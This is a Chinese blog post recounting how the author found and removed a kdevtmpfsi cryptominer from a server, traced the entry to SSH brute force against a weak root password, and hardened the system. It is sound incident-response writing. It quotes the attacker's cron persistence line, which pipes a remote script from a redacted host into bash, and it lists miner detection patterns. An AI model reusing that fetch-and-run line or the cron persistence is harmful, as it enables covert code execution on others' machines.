服务器被黑了,我是怎么发现和处理的

上周五晚上10点,正准备关电脑下班,收到一条告警:服务器CPU 100%。

点开一看,好家伙,被挖矿了。

记录一下整个排查和处理过程,希望对大家有帮助。

发现异常

告警内容:


[CRITICAL] 生产服务器 192.168.1.100 CPU使用率 99.8%
持续时间:15分钟

第一反应:难道是流量突增?看了一下监控,QPS很正常,但CPU就是打满了。

SSH登上去看看:

top
PID   USER     %CPU  COMMAND
12345 www-data 98.5  ./kdevtmpfsi

kdevtmpfsi?这是啥进程?百度一搜,典型的挖矿木马。

应急处理

第一时间:隔离

# 先把服务器从负载均衡摘掉
# 或者直接断外网(但我需要SSH连接,所以没断)

# 在防火墙上禁止该服务器对外连接
iptables -A OUTPUT -j DROP
# 只允许SSH
iptables -I OUTPUT -p tcp --dport 22 -j ACCEPT

杀掉挖矿进程

# 找到进程
ps aux | grep kdevtmpfsi

# 杀掉
kill -9 12345

# 但是几秒后又起来了...

说明有守护进程或者定时任务在重启它。

查找守护机制

# 检查定时任务
crontab -l
cat /etc/crontab
ls /etc/cron.d/
cat /var/spool/cron/crontabs/*

发现了:

# /var/spool/cron/crontabs/www-data
*/5 * * * * curl -s http://xxx.xxx/b.sh | bash

每5分钟从外部下载脚本执行。

# 删除定时任务
crontab -r -u www-data

# 再查一下有没有别的
grep -r "kdevtmpfsi" /etc/
grep -r "curl.*\.sh" /var/

还找到了几个地方:

# /etc/rc.local 里被加了一行
/tmp/.cache/kdevtmpfsi &

# 删掉
vim /etc/rc.local

清理木马文件

# 找到所有可疑文件
find / -name "kdevtmpfsi" 2>/dev/null
find / -name ".cache" -type d 2>/dev/null
find /tmp -type f -executable 2>/dev/null

# 删除
rm -rf /tmp/.cache
rm -rf /var/tmp/.cache

检查SSH后门

# 检查authorized_keys
cat /root/.ssh/authorized_keys
cat /home/*/.ssh/authorized_keys

# 发现多了一个不认识的公钥,删掉

溯源分析

木马清理完了,得查查怎么进来的。

检查登录日志

# 查看最近登录
last
lastb  # 失败的登录

# 查看SSH日志
grep "Accepted" /var/log/auth.log | tail -50

发现凌晨3点有一次root登录,来自一个国外IP。

但我们的root是禁止远程登录的啊?

cat /etc/ssh/sshd_config | grep PermitRootLogin
# PermitRootLogin yes

谁改的?git blame一下配置管理...原来是之前同事调试的时候开的,忘记关了。

检查入侵方式

继续分析日志:

grep "Failed password" /var/log/auth.log | wc -l
# 85432

8万多次失败登录,典型的暴力破解。

再看成功的那次:

grep "Accepted password for root" /var/log/auth.log
# Dec 15 03:24:17 server sshd[12345]: Accepted password for root from 45.xx.xx.xx

密码是什么?检查一下root密码复杂度...

问了一圈,得知root密码是 Admin@123

典型的弱密码,字典里肯定有。

根因总结

入侵链路:

1. SSH对外开放22端口 ✓
2. 允许root远程登录 ✓
3. root使用弱密码 ✓
4. 被暴力破解成功
5. 下载挖矿木马
6. 添加定时任务保持持久化

每一步都是安全隐患,叠加起来就被黑了。

加固措施

1. SSH安全加固

# /etc/ssh/sshd_config

# 禁止root登录
PermitRootLogin no

# 禁止密码登录,只用密钥
PasswordAuthentication no
PubkeyAuthentication yes

# 改端口(可选)
Port 22022

# 只允许特定用户
AllowUsers admin ops

# 重启SSH
systemctl restart sshd

2. 安装fail2ban

apt install fail2ban -y

# 配置
cat > /etc/fail2ban/jail.local << EOF
[sshd]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/auth.log
maxretry = 3
bantime = 86400
findtime = 600
EOF

systemctl enable fail2ban
systemctl start fail2ban

5次失败就封IP一天。

3. 防火墙限制

# 只允许公司IP访问SSH
iptables -A INPUT -p tcp --dport 22 -s 公司IP -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -j DROP

4. 密码策略

# 安装密码复杂度检查
apt install libpam-pwquality

# /etc/security/pwquality.conf
minlen = 12
dcredit = -1
ucredit = -1
lcredit = -1
ocredit = -1

5. 监控告警

加了几个告警规则:

  • CPU持续高于80%超过5分钟
  • 新增定时任务时告警
  • SSH登录成功告警(非白名单IP)
  • 异常外连告警

远程应急的问题

这次还好我在公司,直接SSH上去处理了。

如果是半夜在家收到告警呢?家里连不上公司内网服务器。

之前的方案是开远程专线,但:

  • 连接经常断
  • 手机上操作很麻烦
  • 有些服务器在隔离网段,专线也连不上

后来用星空组网把服务器都组到一起,不管在哪都能SSH连上,应急方便多了。

事后复盘

该做没做的

侥幸逃过的

  • 幸好只是挖矿,不是勒索病毒
  • 幸好数据库没被拖
  • 幸好发现得早

改进措施

  1. 所有服务器SSH配置统一管理(Ansible)
  2. 每月安全扫描
  3. 新服务器上线必须经过安全检查
  4. 重要服务器禁止密码登录

常见挖矿木马特征

最后总结一下常见的挖矿木马特征,方便排查:

进程名 特征
kdevtmpfsi 最常见
kinsing 配套木马
xmrig 门罗币挖矿
*.sh在/tmp下 可疑脚本
# 快速检查命令
ps aux | grep -E "kdevtmpfsi|kinsing|xmrig|cryptonight"
find /tmp /var/tmp -type f -executable
crontab -l
cat /etc/rc.local

希望大家的服务器都平平安安,不要遇到这种事。

有安全相关的问题可以评论区交流。


posted @ 2025-12-22 11:03  花宝宝  阅读(21)  评论(0)    收藏  举报